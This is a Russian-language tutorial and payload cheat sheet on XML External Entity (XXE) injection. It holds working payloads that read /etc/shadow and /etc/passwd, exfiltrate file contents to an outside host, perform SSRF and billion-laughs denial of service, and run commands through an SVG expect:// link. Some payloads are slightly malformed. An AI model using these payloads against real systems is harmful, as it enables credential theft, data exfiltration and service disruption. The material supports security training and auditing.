В этом разделе мы объясним, что такое внедрение внешних сущностей XML, опишем некоторые распространенные примеры, объясним, как найти и использовать различные виды внедрения XXE, и подведем итог, как предотвратить атаки внедрения XXE.
Содержание
- Что такое внедрение внешних сущностей XML?
- Существуют различные типы атак XXE:
- Инъекции внешнего объекта XML (XXE)
- XXE: базовый пример XML
- XXE: Пример сущности
- XXE: раскрытие файла
- XXE: пример отказа в обслуживании
- XXE: Пример включения локального файла
- XXE: пример включения слепого локального файла (когда первый случай ничего не возвращает)
- XXE: обход контроля доступа (загрузка ограниченных ресурсов – пример PHP)
- XXE: пример SSRF (подделка запроса на стороне сервера)
- XXE: (Удаленная атака – через внешнее включение XML)
- XXE: пример UTF-7
- XXE: Base64 в кодировке
- Пример XXE: XXE внутри SOAP
- XXE: XXE внутри SVG
Что такое внедрение внешних сущностей XML?
Внедрение внешнего объекта XML (также известное как XXE) – это уязвимость веб-безопасности, которая позволяет злоумышленнику вмешиваться в обработку XML-данных приложения.
Она часто позволяет злоумышленнику просматривать файлы в файловой системе сервера приложений и взаимодействовать с любыми внутренними или внешними системами, к которым само приложение может получить доступ.
Существуют различные типы атак XXE:
|
Тип атаки XXE
|
Описание |
|---|---|
|
Использование XXE для получения файлов
|
Где определяется внешняя сущность, содержащая содержимое файла, и возвращается в ответе приложения.
|
| Использование XXE для проведения атак SSRF |
Где внешняя сущность определяется на основе URL-адреса внутренней системы.
|
|
Эксплуатация слепых XXE-данных вне сети
|
Где конфиденциальные данные передаются с сервера приложений в систему, контролируемую злоумышленником.
|
|
Использование слепого XXE для извлечения данных через сообщения об ошибках
|
Где злоумышленник может вызвать сообщение об ошибке синтаксического анализа, содержащее конфиденциальные данные.
|
Инъекции внешнего объекта XML (XXE)
XXE: базовый пример XML
<!--?xml version="1.0" ?-->
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>XXE: Пример сущности
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>XXE: раскрытие файла
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>XXE: пример отказа в обслуживании
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>XXE: Пример включения локального файла
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>XXE: пример включения слепого локального файла (когда первый случай ничего не возвращает)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>XXE: обход контроля доступа (загрузка ограниченных ресурсов – пример PHP)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>∾</result></foo>XXE: пример SSRF (подделка запроса на стороне сервера)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>XXE: (Удаленная атака – через внешнее включение XML)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "https://example.com/entity1.xml">]>
<lolz><lol>3..2..1...&test<lol></lolz>XXE: пример UTF-7
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4XXE: Base64 в кодировке
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>Пример XXE: XXE внутри SOAP
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>XXE: XXE внутри SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
